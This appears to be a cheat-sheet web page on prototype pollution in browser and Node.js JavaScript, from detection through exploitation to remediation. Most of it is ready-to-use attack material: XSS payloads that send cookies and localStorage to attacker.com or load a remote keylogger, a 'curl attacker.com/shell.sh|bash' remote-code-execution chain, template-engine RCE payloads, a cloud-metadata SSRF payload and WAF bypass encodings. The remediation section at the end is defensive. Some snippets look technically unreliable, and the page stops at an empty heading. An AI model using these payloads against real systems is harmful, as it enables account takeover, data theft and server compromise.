ᛉ Yggdrasil

Web

Prototype Pollution

15 Sep 2026 · 5,032 words · 23 min

Contents

A complete operational reference for Prototype Pollution covering client-side, server-side (Node.js), and DOM-based variants. Covers detection, source identification, gadget hunting, exploitation chains, JSON merge abuse, AST injection, framework-specific issues, tools (PPScan, ppfuzz, AST-Grep), bypass techniques, and remediation. Mapped to MITRE ATT&CK T1059.007 (JavaScript execution) and CWE-1321.


1. Core Concepts & Vulnerability Types

PROTOTYPE POLLUTION TAXONOMY:

CLIENT-SIDE Prototype Pollution (Browser JavaScript)
├── Query String → pollute via ?__proto__[x]=y
├── URL Hash → pollute via #__proto__[x]=y
├── JSON input → pollute via parsed {"__proto__":{"x":"y"}}
└── postMessage → pollute via cross-origin message payloads

SERVER-SIDE Prototype Pollution (Node.js)
├── JSON body parsing → {"__proto__":{"x":"y"}} in POST body
├── Query string → ?__proto__[isAdmin]=true
├── Deep merge / clone functions → recursive key assignment
└── Template engine injection → Handlebars, Pug, EJS pollution

DOM-BASED Prototype Pollution (Browser, DOM Sinks)
├── URL → prototype → DOM gadget → XSS
├── Stored → prototype → DOM gadget → XSS
└── innerHTML / eval sinks consuming polluted properties

Key Terms: - Prototype — Every JavaScript object has an internal [[Prototype]] link. Properties not found on the object itself are looked up on the prototype chain. - __proto__ — A legacy accessor that exposes an object's prototype. Assigning to it rewrites the prototype. - Object.prototype — The root prototype shared by ALL plain objects. Polluting it affects every {} in the runtime. - constructor.prototype — Alternative access path to the same root: obj.constructor.prototype === Object.prototype. - Gadget — Existing code in the application/library that reads a property from Object.prototype and does something dangerous with it (write to DOM, call eval, set headers, pass to shell, etc.). - Source — User-controlled input that reaches a vulnerable merge/clone function. - Sink — The dangerous operation triggered by the polluted property via a gadget. - PP → XSS — Prototype Pollution used as a stepping stone to Cross-Site Scripting via DOM gadgets. - PP → RCE — Prototype Pollution on Node.js used to inject properties that reach child_process.exec or template engine code execution paths.


2. How JavaScript Prototype Chain Works

2.1 Normal Prototype Lookup

const obj = {};
obj.toString(); // not on obj → looks up prototype chain → Object.prototype.toString

// Chain:
// obj → Object.prototype → null

2.2 The Pollution Mechanism

// If vulnerable merge function does this:
function merge(target, source) {
    for (let key in source) {
        target[key] = source[key]; // ← no key check!
    }
}

// Attacker controls source as:
const malicious = JSON.parse('{"__proto__":{"isAdmin":true}}');

merge({}, malicious);

// Now:
const newObj = {};
console.log(newObj.isAdmin); // true ← POLLUTED!
// Every {} in the runtime now has isAdmin = true

2.3 Three Pollution Paths

// Path 1 — __proto__ (most common):
obj["__proto__"]["polluted"] = "yes";

// Path 2 — constructor.prototype:
obj["constructor"]["prototype"]["polluted"] = "yes";

// Path 3 — Nested key traversal:
// When merge does: target[key][subkey] = value
// and key = "__proto__", subkey = "polluted"
merge({}, {"__proto__": {"polluted": "yes"}});

// All three result in:
({}).polluted === "yes" // true

2.4 Why It's Dangerous

// Before pollution:
const user = {};
if (user.isAdmin) {
    grantAccess(); // never runs
}

// After polluting Object.prototype.isAdmin = true:
const user = {};
if (user.isAdmin) {
    grantAccess(); // RUNS for every user object!
}

3. Detection & Fingerprinting

3.1 Manual Browser Detection

// Open DevTools Console (F12) and test:

// Step 1 — Identify input that gets parsed/merged
// Look for: URL query params, hash fragments, JSON body, postMessage

// Step 2 — Inject payload and check pollution
// In URL: https://target.com/?__proto__[testPP]=izanaghi123

// Step 3 — Check in console:
({}).testPP        // "izanaghi123" → POLLUTED!
window.testPP      // also "izanaghi123"

// Alternative path:
// https://target.com/?constructor[prototype][testPP]=izanaghi123
({}).testPP        // check again

3.2 Confirming Client-Side PP via URL

# Test URL patterns (try all three paths):
?__proto__[testPP]=izanaghi
?__proto__.testPP=izanaghi
?constructor[prototype][testPP]=izanaghi
?constructor.prototype.testPP=izanaghi

# Hash-based:
#__proto__[testPP]=izanaghi

# After loading page, check in console:
Object.prototype.testPP   // "izanaghi" → confirmed

3.3 Confirming Server-Side PP (Node.js)

# Send polluted JSON body:
curl -s -X POST https://target.com/api/merge \
    -H "Content-Type: application/json" \
    -d '{"__proto__":{"testPP":"izanaghi123"}}'

# If the server reflects or uses Object.prototype properties,
# look for behavioral changes (status codes, response fields, errors)

# Alternative paths in JSON:
{"__proto__":{"x":"y"}}
{"constructor":{"prototype":{"x":"y"}}}

# Query string SSPP:
curl "https://target.com/api?__proto__[x]=y"
curl "https://target.com/api?constructor[prototype][x]=y"

3.4 Fingerprinting Vulnerable Libraries

Common vulnerable functions to look for in source / node_modules:

Library / Function Vulnerable Pattern
lodash < 4.17.11 _.merge(), _.defaultsDeep(), _.set()
jQuery < 3.4.0 $.extend(true, {}, userInput)
hoek < 4.2.1 / < 5.0.3 hoek.merge(), hoek.applyToDefaults()
deepmerge < 4.2.2 deepmerge(target, source)
merge < 2.1.1 merge.recursive(true, {}, userInput)
defaults-deep < 0.2.4 defaultsDeep({}, userInput)
mixin-deep < 1.3.2 mixinDeep({}, userInput)
set-value < 2.0.1 setValue(obj, key, value)
getobject getobject.set(obj, key, value)
flat < 5.0.1 flat.unflatten(userInput)
qs < 6.7.3 qs.parse("__proto__[x]=y")

3.5 Finding Sources in Client-Side Code

// Common sources to grep for in JS files:
location.search        // URL query string
location.hash          // URL hash fragment
document.cookie        // cookies
postMessage            // cross-origin messages
JSON.parse(...)        // parsed JSON input
URLSearchParams        // modern query parsing

// Grep for vulnerable merge patterns:
grep -rn "merge\|deepMerge\|extend\|assign\|defaultsDeep\|set(" \
    --include="*.js" .

4. Client-Side Prototype Pollution

4.1 Query String Based PP

# Application parses query string into object without sanitization:
# e.g., using qs.parse() or custom parser

# Payload:
https://target.com/page?__proto__[x]=injected
https://target.com/page?__proto__[innerHTML]=<img src=x onerror=alert(1)>
https://target.com/page?__proto__[src]=//attacker.com/evil.js

# Burp Suite: right-click → "Send to Repeater"
# Modify GET /?__proto__[isAdmin]=true HTTP/1.1
# Check response for behavioral change or check JS console via Burp's browser

4.2 Hash Fragment Based PP

# Some apps parse the fragment (#) portion of the URL
# e.g., AngularJS, custom hash routers

# Payload:
https://target.com/#__proto__[polluted]=1
https://target.com/#!/__proto__[isAdmin]=1

# JavaScript that's vulnerable:
const params = parseHash(location.hash);  // custom parser — no sanitization
merge(config, params);                    // pollutes Object.prototype

4.3 JSON Input Based PP

// Vulnerable code path:
const userConfig = JSON.parse(req.body);   // JSON.parse is safe by itself
deepMerge(defaultConfig, userConfig);       // ← vulnerable merge here

// Payload:
{
    "settings": "dark",
    "__proto__": {
        "isAdmin": true,
        "role": "superuser"
    }
}

// Also try nested constructor path:
{
    "constructor": {
        "prototype": {
            "isAdmin": true
        }
    }
}

4.4 postMessage Based PP

// Vulnerable receiver:
window.addEventListener("message", (e) => {
    const data = JSON.parse(e.data);
    merge(config, data);              // ← pollutes prototype
});

// Attacker's page sends:
<script>
const target = window.open("https://vulnerable.com");
setTimeout(() => {
    target.postMessage(
        JSON.stringify({"__proto__": {"polluted": "yes"}}),
        "*"
    );
}, 2000);
</script>

5. Server-Side Prototype Pollution (Node.js)

5.1 Basic SSPP via JSON Body

# Express.js app with body-parser:
# POST /api/settings with body:
curl -s -X POST https://target.com/api/settings \
    -H "Content-Type: application/json" \
    -d '{"__proto__":{"isAdmin":true}}'

# If app later checks:
# if (req.user.isAdmin) → true for every user object

# Also try:
curl -s -X POST https://target.com/api/settings \
    -H "Content-Type: application/json" \
    -d '{"constructor":{"prototype":{"isAdmin":true}}}'

5.2 Detecting SSPP Blind (No Output)

# Technique 1 — Status code change:
# Pollute a property that changes branching logic
curl -d '{"__proto__":{"status":555}}' -H "Content-Type: application/json" \
    https://target.com/api/data

# Technique 2 — Response delay:
# Pollute JSON.stringify replacer or similar
# (advanced — app-specific)

# Technique 3 — Error triggering:
# Pollute a property expected to be undefined
curl -d '{"__proto__":{"toString":"polluted"}}' \
    -H "Content-Type: application/json" https://target.com/api/data
# If server errors with "polluted is not a function" → confirmed

# Technique 4 — Environment variable injection (see Section 11.1):
# Pollute env vars to confirm SSPP
curl -d '{"__proto__":{"NODE_OPTIONS":"--inspect=attacker.com"}}' \
    -H "Content-Type: application/json" https://target.com/api/data

5.3 Express.js Specific Gadgets

// Gadget 1 — res.json() uses status:
// Pollute: {"__proto__":{"status":200}}
// Can override HTTP response status codes

// Gadget 2 — express.static options:
// Pollute: {"__proto__":{"root":"/","dotfiles":"allow"}}
// May enable path traversal via static file serving

// Gadget 3 — app.set / app.get settings:
// Pollute: {"__proto__":{"etag":false}}
// Affects express internal settings if read from Object.prototype

// Gadget 4 — res.render() template path:
// Pollute: {"__proto__":{"view engine":"pug","views":"/tmp"}}
// Combined with file write → SSTI → RCE

5.4 SSPP via Query String (qs library)

# qs < 6.7.3 parses __proto__ in query strings:
curl "https://target.com/api/data?__proto__[isAdmin]=true"
curl "https://target.com/api/data?__proto__[shell]=sleep+5"
curl "https://target.com/api/data?constructor[prototype][isAdmin]=true"

# Testing with Python:
python3 -c "
import requests
r = requests.get('https://target.com/api',
    params={'__proto__[testPP]': 'izanaghi123'})
print(r.status_code, r.text[:500])
"

6. DOM-Based Prototype Pollution to XSS

6.1 The PP → XSS Chain

SOURCE (user-controlled input)
    ↓
MERGE/CLONE (vulnerable library processes input)
    ↓
Object.prototype POLLUTED (e.g., x = "<img onerror=...>")
    ↓
GADGET (existing code reads the property and writes to DOM)
    ↓
XSS (script executes in victim's browser)

6.2 Common DOM Gadgets

// Gadget 1 — innerHTML write:
// Somewhere in app code:
document.getElementById("container").innerHTML = config.template;
// Pollute: ?__proto__[template]=<img src=x onerror=alert(document.domain)>

// Gadget 2 — document.write:
document.write(options.header);
// Pollute: ?__proto__[header]=<script>alert(1)</script>

// Gadget 3 — eval:
eval(settings.callback);
// Pollute: ?__proto__[callback]=alert(origin)

// Gadget 4 — setTimeout/setInterval:
setTimeout(config.onLoad, 100);
// Pollute: ?__proto__[onLoad]=alert(1)

// Gadget 5 — jQuery .html():
$(selector).html(opts.content);
// Pollute: ?__proto__[content]=<img src=x onerror=alert(1)>

// Gadget 6 — src attribute:
script.src = config.scriptSrc;
// Pollute: ?__proto__[scriptSrc]=//attacker.com/evil.js

// Gadget 7 — location.href:
location.href = settings.redirectUrl;
// Pollute: ?__proto__[redirectUrl]=javascript:alert(1)

6.3 Exploitation Example (Full)

# Target: https://example.com/dashboard
# Vulnerable: custom query parser → lodash _.merge()
# Gadget: app code does: el.innerHTML = config.defaultMsg;

# Step 1: Confirm pollution:
# https://example.com/dashboard?__proto__[testPP]=izanaghi
# Console: ({}).testPP → "izanaghi" ✓

# Step 2: Find gadget:
# Grep JS files for: innerHTML, document.write, eval
# Found: el.innerHTML = options.defaultMsg || "";

# Step 3: Exploit:
# https://example.com/dashboard?__proto__[defaultMsg]=<img src=x onerror=alert(document.cookie)>

# Step 4: Deliver to victim:
# https://example.com/dashboard?__proto__[defaultMsg]=<img%20src=x%20onerror=fetch('//attacker.com/?c='+document.cookie)>

6.4 XSS Payload Escalation

// Basic confirm:
?__proto__[x]=<img src=x onerror=alert(document.domain)>

// Cookie theft:
?__proto__[x]=<img src=x onerror=fetch('//attacker.com/?c='+btoa(document.cookie))>

// localStorage dump:
?__proto__[x]=<img src=x onerror=fetch('//attacker.com/?l='+btoa(JSON.stringify(localStorage)))>

// Full keylogger / session hijack:
?__proto__[x]=<script src=//attacker.com/keylogger.js></script>

// CSP bypass via JSONP (if available):
?__proto__[x]=<script src=https://target.com/api/jsonp?callback=alert(1)></script>

7. Gadget Hunting

7.1 Manual Gadget Hunting in JavaScript

# Clone JS source locally, then grep:

# innerHTML / outerHTML writes:
grep -rn "\.innerHTML\s*=\|\.outerHTML\s*=" --include="*.js" .

# eval / Function constructor:
grep -rn "\beval\b\|new Function(" --include="*.js" .

# script src assignment:
grep -rn "\.src\s*=\|scriptSrc\|loadScript" --include="*.js" .

# document.write:
grep -rn "document\.write\b" --include="*.js" .

# setTimeout / setInterval with string arg:
grep -rn "setTimeout\|setInterval" --include="*.js" . | grep "config\|opts\|settings\|options"

# location redirect:
grep -rn "location\.href\s*=\|location\.replace\|location\.assign" --include="*.js" .

# jQuery html / append:
grep -rn "\.html(\|\.append(\|\.prepend(" --include="*.js" . | grep "config\|opt"

# window[]:
grep -rn "window\[" --include="*.js" .

7.2 Node.js Server-Side Gadgets

// Gadget 1 — child_process.spawn options.shell:
// Vulnerable pattern:
const {spawn} = require("child_process");
spawn(cmd, args, options);
// Pollute: {"__proto__":{"shell":"/bin/bash",
//           "argv0":"bash","env":{"x":"y; COMMAND;"}}}

// Gadget 2 — child_process.fork env:
const cp = require("child_process");
cp.fork(module, [], { env: process.env });
// Pollute env properties that get merged into child env

// Gadget 3 — res.json status:
res.json(data);  // internally reads this.statusCode
// Pollute: {"__proto__":{"statusCode":200}}

// Gadget 4 — process.env via Object.assign:
Object.assign(process.env, userInput);
// Pollute: {"NODE_OPTIONS": "--require /proc/self/fd/0"}

// Gadget 5 — vm.runInNewContext options:
vm.runInNewContext(code, sandbox, opts);
// Pollute opts.filename or opts.lineOffset

// Gadget 6 — Template engine (Handlebars):
// See Section 9 — AST injection

7.3 Using Browser DevTools for Gadget Discovery

// Technique 1 — Property monitor:
// Intercept reads on Object.prototype via Proxy:
const handler = {
    get(target, prop, receiver) {
        if (!(prop in target)) {
            console.trace(`Object.prototype.${prop} accessed!`);
        }
        return Reflect.get(target, prop, receiver);
    }
};
Object.prototype = new Proxy(Object.prototype, handler);
// Then trigger app functionality and watch the console

// Technique 2 — DOM breakpoints:
// DevTools → Sources → DOM breakpoints → Subtree modifications
// Watch for DOM writes after prototype is polluted

// Technique 3 — XHR/fetch interception + pollution testing:
// Pollute one property at a time and observe app behavior
// Use BurpSuite's browser + DOM Invader (built-in PP scanner)

8. JSON Merge / Deep Clone Abuse

8.1 Vulnerable Merge Patterns

// PATTERN 1 — Recursive key assignment (most common):
function merge(target, source) {
    for (const key in source) {          // ← iterates "__proto__"
        if (typeof source[key] === "object") {
            target[key] = target[key] || {};
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];   // ← assigns to __proto__
        }
    }
}
// Fix: add key check — if (key === "__proto__") continue;

// PATTERN 2 — JSON.parse + Object.assign (SAFE if shallow):
Object.assign({}, JSON.parse(input));   // ← SAFE (shallow copy)

// PATTERN 3 — Spread (SAFE):
const merged = {...defaults, ...userInput};  // ← SAFE (shallow)

// PATTERN 4 — Custom deepClone:
function deepClone(obj) {
    return JSON.parse(JSON.stringify(obj));  // ← SAFE
}

// PATTERN 5 — lodash _.merge (VULNERABLE < 4.17.11):
_.merge({}, JSON.parse(input));         // ← POLLUTES

// PATTERN 6 — jQuery extend (VULNERABLE < 3.4.0):
$.extend(true, {}, JSON.parse(input));  // ← POLLUTES

8.2 Exploiting flat.unflatten()

// flat library unflatten is vulnerable:
const flat = require("flat");
flat.unflatten({"__proto__.isAdmin": "true"});
// Now: ({}).isAdmin === "true"

// Payload via query string:
// ?__proto__.isAdmin=true  (if app uses flat.unflatten on query)

// Payload via JSON body:
{"__proto__.isAdmin": "true"}

8.3 Exploiting qs.parse()

# qs < 6.7.3:
# URL: ?__proto__[polluted]=yes
# qs.parse → {"__proto__": {"polluted": "yes"}}
# merged into options → prototype polluted

# Payload patterns:
curl "https://target.com/?__proto__[isAdmin]=1"
curl "https://target.com/?__proto__[debug]=true"
curl "https://target.com/?constructor[prototype][isAdmin]=1"

# qs safe version (6.7.3+) rejects __proto__ keys by default

9. AST Injection via Prototype Pollution

9.1 How AST Injection Works

Template Engine parses template → builds AST (Abstract Syntax Tree)
If Object.prototype has been polluted with AST node properties
→ the template engine reads polluted properties during traversal
→ arbitrary code executes inside the template engine sandbox

9.2 Handlebars PP → RCE

// Handlebars < 4.7.7 is vulnerable.
// Pollution path: __proto__[pendingContent] or __proto__[type]

// Payload (send as POST JSON body):
{
    "__proto__": {
        "pendingContent": "injected"
    }
}

// Full RCE payload (Handlebars 4.6.0):
// Pollute the AST node type to trigger code evaluation:
{
    "__proto__": {
        "type": "Program",
        "body": [{
            "type": "MustacheStatement",
            "path": {
                "type": "PathExpression",
                "original": "process.mainModule.require('child_process').execSync('id')",
                "parts": ["process"],
                "data": false,
                "depth": 0
            },
            "params": [],
            "hash": null,
            "escaped": true,
            "strip": {}
        }]
    }
}

// Use the Handlebars exploit template:
// https://github.com/nicowillis/handlebars-prototype-pollution-rce

9.3 Pug (Jade) PP → RCE

// Pug template engine via prototype pollution:
// Pollute: __proto__[block][type] or __proto__[nodes]

// Exploit:
{
    "__proto__": {
        "block": {
            "type": "Text",
            "line": "- global.process.mainModule.require('child_process').execSync('id > /tmp/pwned')"
        }
    }
}

// Or via options.self abuse:
pug.render("p Hello", {self: true, ...pollutedOptions});

9.4 EJS PP → RCE (CVE-2022-29078)

// EJS < 3.1.7 — outputFunctionName gadget:
// Pollute: __proto__[outputFunctionName]=x;process.mainModule...//

// Payload via Node.js with vulnerable lodash merge:
const _ = require("lodash");
_.merge({}, JSON.parse('{"__proto__":{"outputFunctionName":"x;global.process.mainModule.require(\'child_process\').execSync(\'id > /tmp/pwned\');//"}}'));

const ejs = require("ejs");
ejs.render("", {});  // ← triggers RCE via polluted outputFunctionName

10. Framework & Library-Specific Issues

10.1 lodash

# Vulnerable versions: < 4.17.11
# Vulnerable functions: _.merge(), _.defaultsDeep(), _.set()

# Check version:
npm list lodash

# _.merge exploit:
node -e "
const _ = require('lodash');
const payload = JSON.parse('{\"__proto__\":{\"polluted\":\"izanaghi\"}}');
_.merge({}, payload);
console.log(({}).polluted);
"
# Output: izanaghi → VULNERABLE

# Patch: upgrade lodash >= 4.17.12
# Or use: _.merge with Object.create(null) targets

10.2 jQuery

// Vulnerable: $.extend(true, {}, userInput) in jQuery < 3.4.0

// Exploit:
$.extend(true, {}, JSON.parse('{"__proto__":{"polluted":"yes"}}'));
console.log(({}).polluted); // "yes" → VULNERABLE

// Safe: jQuery >= 3.4.0 skips __proto__ keys
// Or use: Object.assign() instead of $.extend(true, ...)

10.3 Express.js

// Express does not directly have PP bugs but is affected by:
// 1. qs module used for query parsing (see 8.3)
// 2. body-parser + deep merge in route handlers
// 3. express-validator if it merges user input into options

// Test:
// POST /api with body: {"__proto__":{"x":"y"}}
// Check if x appears on any new object in route handlers

// Detect via debug logging:
const original = Object.prototype.__proto__;
Object.defineProperty(Object.prototype, 'testPP', {
    set(v) { console.trace('Prototype polluted:', v); }
});

10.4 Fastify / Hapi (Node.js frameworks)

// Fastify uses fast-json-stringify + ajv schema validation
// Schema validation prevents most PP if schema is strict

// However: if Fastify app uses custom merge for config:
fastify.register(plugin, deepMerge(defaultOpts, userOpts));  // ← check

// Hapi uses hoek internally:
// hoek < 4.2.1 vulnerable to PP via hoek.merge() / hoek.applyToDefaults()
npm list hoek

10.5 Client-Side Frameworks

Framework Version Vulnerable Function Impact
AngularJS < 1.7.9 angular.merge() PP → XSS
Vue.js < 2.6.x Vue.set() with __proto__ PP
React Not directly Depends on lib (lodash etc.) PP via deps
Backbone.js < 1.4.0 _.extend() PP → XSS
Prototype.js Legacy Object.extend() PP → XSS
jQuery < 3.4.0 $.extend(true, ...) PP → XSS

11. Exploitation Chains (PP → RCE / XSS / Privilege Escalation)

11.1 SSPP → RCE via child_process (NODE_OPTIONS)

# Exploit: Pollute NODE_OPTIONS environment variable
# This affects how Node.js spawns child processes

# Payload:
curl -s -X POST https://target.com/api \
    -H "Content-Type: application/json" \
    -d '{"__proto__":{"NODE_OPTIONS":"--inspect=attacker.com:9229"}}'

# More direct RCE via shell option in spawn:
# If app spawns child process after handling user input:

# Payload that abuses shell option:
{
    "__proto__": {
        "shell": "/proc/self/exe",
        "argv0": "node",
        "NODE_OPTIONS": "--require /proc/self/fd/0"
    }
}

# Full RCE chain — requires the app to call spawn() after pollution:
{
    "__proto__": {
        "shell": true,
        "env": {
            "EVIL": "$(curl http://attacker.com/shell.sh|bash)"
        }
    }
}

11.2 SSPP → RCE via Template Engine (EJS/Handlebars)

// Step 1: Pollute via POST body with lodash merge:
// POST /api/config
// {"__proto__":{"outputFunctionName":"x;require('child_process').execSync('id>/tmp/pwn')//"}}

// Step 2: Trigger template render anywhere in the app
// GET /dashboard (renders with EJS)
// → EJS reads outputFunctionName from options (now polluted)
// → Executes arbitrary code during template compilation

// Verify:
// curl https://target.com/dashboard
// Then check /tmp/pwn exists (or use a canary like ping/curl to attacker)

11.3 SSPP → Privilege Escalation

# Pattern: app checks user.isAdmin or user.role

# Vulnerable server code:
# const user = await getUser(req.session.userId);  // → {}
# if (user.isAdmin) { return adminData; }

# Payload:
curl -s -X POST https://target.com/api/profile \
    -H "Content-Type: application/json" \
    -H "Cookie: session=YOUR_SESSION" \
    -d '{"__proto__":{"isAdmin":true}}'

# Now GET /api/admin returns admin data because
# every {} in the runtime has isAdmin = true

# Bypass role checks:
'{"__proto__":{"role":"admin","permissions":["read","write","delete"]}}'

11.4 Client-Side PP → Stored XSS

Scenario: App stores user preferences (JSON) in DB,
          loads them on next visit, merges into config object.

Step 1: POST /api/preferences
{"theme":"dark","__proto__":{"innerHTML":"<img src=x onerror=alert(document.cookie)>"}}

Step 2: Server stores this JSON (no sanitization)

Step 3: Next visit → GET /api/preferences → polluted JSON loaded
        → Client-side merge → Object.prototype.innerHTML = "<img...>"

Step 4: App code does: el.innerHTML = config.innerHTML || "";
        → But config is {} so it falls through to Object.prototype.innerHTML
        → XSS fires on every page load!

11.5 PP → SSRF via Node.js http.request Options

// If app does: http.request(_.merge(defaultOpts, userInput))
// Pollute: hostname, port, path

// Payload:
{
    "__proto__": {
        "hostname": "169.254.169.254",
        "port": 80,
        "path": "/latest/meta-data/iam/security-credentials/"
    }
}

// → http.request uses polluted values → SSRF to cloud metadata

12. Tools — PPScan, ppfuzz, AST-Grep

12.1 Burp Suite DOM Invader (Built-in PP Detection)

# Built into Burp Suite's browser (Chromium-based)
# Enable: Burp → Proxy → Open Browser → DevTools → DOM Invader tab

# Features:
# - Automatically injects canary into URL params, hash, postMessage
# - Detects Object.prototype pollution
# - Shows polluted property names and gadgets found
# - Click "Exploit" to generate XSS payloads automatically

# Manual setup in any browser console:
Object.prototype.addEventListener = function() {
    console.trace("addEventListener gadget triggered");
};

12.2 ppfuzz (Automated PP Fuzzer)

# Install:
cargo install ppfuzz
# OR:
git clone https://github.com/dwisiswant0/ppfuzz
cd ppfuzz && cargo build --release
./target/release/ppfuzz --help

# Basic scan:
ppfuzz -u "https://target.com/" --delay 200ms

# Scan with custom wordlist:
ppfuzz -u "https://target.com/" -c "/path/to/payloads.txt"

# Scan with proxy (Burp):
ppfuzz -u "https://target.com/" --proxy "http://127.0.0.1:8080"

# Verbose output:
ppfuzz -u "https://target.com/" -v

# Multiple targets from file:
ppfuzz -l targets.txt --delay 500ms -o results.json

12.3 PPScan (JavaScript Static Analysis)

# PPScan — Node.js prototype pollution scanner
git clone https://github.com/msrkp/PPScan
cd PPScan
npm install

# Scan a URL (loads page and checks for PP):
node pplib.js https://target.com/

# Scan JavaScript file directly:
node pplib.js file.js

# Key output:
# [VULN] Prototype Pollution in: lodash.merge at line 42
# [GADGET] innerHTML write at line 87 in config.js

12.4 AST-Grep (Code Pattern Searching)

# Install:
cargo install ast-grep
# OR: npm install -g @ast-grep/cli

# Find vulnerable merge patterns:
ast-grep --lang js -p 'merge($A, $B)' .

# Find __proto__ access:
ast-grep --lang js -p '$OBJ["__proto__"]' .
ast-grep --lang js -p '$OBJ.__proto__' .

# Find innerHTML assignments from variable:
ast-grep --lang js -p '$EL.innerHTML = $VAR' .

# Find eval with non-literal:
ast-grep --lang js -p 'eval($VAR)' .

# Combine with custom rules (rule.yaml):
# id: proto-pollution
# language: javascript
# rule:
#   pattern: $OBJ[$KEY] = $VAL
#   has:
#     pattern: for ($K in $S)
ast-grep scan --rule proto-pollution-rule.yaml .

12.5 Manual Node.js Testing Script

// test-pp.js — Drop into target's Node.js project and run
const targets = [
    () => { const _ = require("lodash"); _.merge({}, {__proto__: {x:1}}); },
    () => { const dm = require("deepmerge"); dm({}, {__proto__: {x:1}}); },
    () => { const merge = require("merge"); merge.recursive(true, {}, {__proto__: {x:1}}); },
    () => { const qs = require("qs"); qs.parse("__proto__[x]=1", {allowPrototypes: true}); },
];

targets.forEach((fn, i) => {
    try {
        // Clear pollution before each test:
        delete Object.prototype.x;
        fn();
        if (({}).x === 1) {
            console.log(`[VULN] Test ${i+1} is vulnerable!`);
        } else {
            console.log(`[SAFE] Test ${i+1} appears safe.`);
        }
    } catch(e) {
        console.log(`[ERR]  Test ${i+1} errored: ${e.message}`);
    } finally {
        delete Object.prototype.x;
    }
});

13. WAF / Filter Bypass Techniques

13.1 Encoding Bypasses

# URL encoding __proto__:
%5F%5Fproto%5F%5F[x]=y         (__proto__)
__proto%5B%5D[x]=y             (__proto[][x])

# Double URL encoding:
%255F%255Fproto%255F%255F[x]=y

# Unicode escapes (in JSON strings):
{"\u005f\u005fproto\u005f\u005f":{"x":"y"}}
{"__pr\u006fto__":{"x":"y"}}        // \u006f = o

# Unicode homoglyphs (rare, parser-dependent):
{"__proto__":{"x":"y"}}         // fullwidth underscores

13.2 Alternative Property Paths

// When __proto__ is blocked, try:

// Path 1 — constructor.prototype:
{"constructor":{"prototype":{"x":"y"}}}
?constructor[prototype][x]=y

// Path 2 — Nested constructor:
{"a":{"constructor":{"prototype":{"x":"y"}}}}

// Path 3 — __defineGetter__:
obj.__defineGetter__("x", function() { return "polluted"; });

// Path 4 — Object.setPrototypeOf (not typically via user input, but worth noting):
Object.setPrototypeOf(obj, {x: "polluted"});

// Path 5 — Via Array:
[]["__proto__"]["x"] = "y";
// Affects Array.prototype, not Object.prototype — limited impact

13.3 JSON Parser Quirks

// Some parsers handle duplicate keys by taking last value.
// Use valid keys + prototype key so WAF sees valid JSON:
{
    "name": "izanaghi",
    "__proto__": {"x": "y"},
    "name": "izanaghi"
}

// Whitespace tricks:
{"__proto__ ": {"x": "y"}}     // trailing space (parser-dependent)
{"__PROTO__": {"x": "y"}}      // case (if app normalizes keys)

// Nesting to evade flat keyword matching:
{
    "settings": {
        "__proto__": {"x": "y"}
    }
}
// If the merge is deep, this still pollutes

13.4 Character Substitution

# When underscores are filtered:
# Try: \x5f\x5f  (hex: _ = \x5f)
{"\\x5f\\x5fproto\\x5f\\x5f":{"x":"y"}}

# When brackets are filtered in query string:
?__proto__.x=y          (dot notation instead of brackets)
?__proto__[x]=y         (brackets)

# If application does: key.split(".").reduce(set) pattern:
?a.b.c=y
?__proto__.isAdmin=y    ← dot-split traversal hits prototype

14. Remediation

14.1 Safe Merge — Key Validation

// VULNERABLE:
function merge(target, source) {
    for (const key in source) {
        target[key] = source[key];       // ← no check
    }
}

// SAFE — blocklist:
function safeMerge(target, source) {
    for (const key in source) {
        if (key === "__proto__" ||
            key === "constructor" ||
            key === "prototype") {
            continue;                    // ← skip dangerous keys
        }
        if (typeof source[key] === "object" && source[key] !== null) {
            target[key] = target[key] || {};
            safeMerge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
}

// SAFE — use hasOwnProperty:
function safeMerge2(target, source) {
    for (const key of Object.keys(source)) { // Object.keys = own keys only
        if (key === "__proto__") continue;
        target[key] = source[key];
    }
}

14.2 Null Prototype Objects

// Create objects that have NO prototype (can't be polluted via chain):
const safeObj = Object.create(null);
// safeObj has no __proto__, no constructor, no toString
// Merging into safeObj cannot reach Object.prototype

// Use as merge target:
function safeMerge(source) {
    const target = Object.create(null);
    Object.keys(source).forEach(key => {
        target[key] = source[key];
    });
    return target;
}

// For Express config:
const config = Object.create(null);
Object.assign(config, userInput);    // now safe (target has no prototype)

14.3 JSON Schema Validation

// Validate and filter input BEFORE any merge:
const Ajv = require("ajv");
const ajv = new Ajv();

const schema = {
    type: "object",
    additionalProperties: false,        // ← blocks __proto__ if not in schema
    properties: {
        theme: { type: "string" },
        language: { type: "string" }
    }
};

const validate = ajv.compile(schema);

function processInput(userInput) {
    const parsed = JSON.parse(userInput);
    if (!validate(parsed)) {
        throw new Error("Invalid input");
    }
    merge(config, parsed);  // now safe — __proto__ was rejected by schema
}

14.4 Library-Level Fixes

# Update lodash >= 4.17.12:
npm install lodash@latest

# Update jQuery >= 3.4.0:
npm install jquery@latest

# Update qs >= 6.7.3:
npm install qs@latest

# Update deepmerge >= 4.2.2:
npm install deepmerge@latest

# npm audit — find all vulnerable deps:
npm audit
npm audit fix
npm audit fix --force      # careful: may break API

# Check specific package:
npm list lodash
npm view lodash versions | tail -5

14.5 freeze Object.prototype (Nuclear Option)

// Lock Object.prototype entirely — prevents any pollution:
Object.freeze(Object.prototype);

// After this, any attempt to pollute will silently fail (non-strict)
// or throw TypeError (strict mode).

// Caveats:
// - May break legitimate libraries that extend Object.prototype
// - Some polyfills won't work
// - Test thoroughly before deploying
// - Does NOT protect against constructor.prototype pollution if freeze
//   is applied before constructor is set up

// Safer approach — freeze just specific properties:
Object.defineProperty(Object.prototype, "__proto__", {
    get() { return Object.getPrototypeOf(this); },
    set() { /* no-op */ },
    configurable: false
});

14.6 Defense-in-Depth Summary

  • Use Object.keys() / Object.entries() instead of for...in when iterating user-controlled objects → PRIMARY
  • Validate all user input against strict JSON Schema before merging → PRIMARY
  • Upgrade vulnerable libraries (lodash, jQuery, qs, deepmerge) → REQUIRED
  • Use Object.create(null) for config/option objects that receive user input → STRONG
  • Object.freeze(Object.prototype) in controlled environments → NUCLEAR / OPTIONAL
  • Never use user-controlled keys as property paths in recursive setters → PRIMARY
  • WAF rules to block __proto__ and constructor in body/query → DETECTION (not primary)
  • SAST scanning (PPScan, semgrep prototype-pollution rules) in CI/CD → PROACTIVE
  • Enable Node.js --secure-heap and run with minimal privileges → DEPTH

15. Master Cheat Sheet

Attack Selection Decision Tree

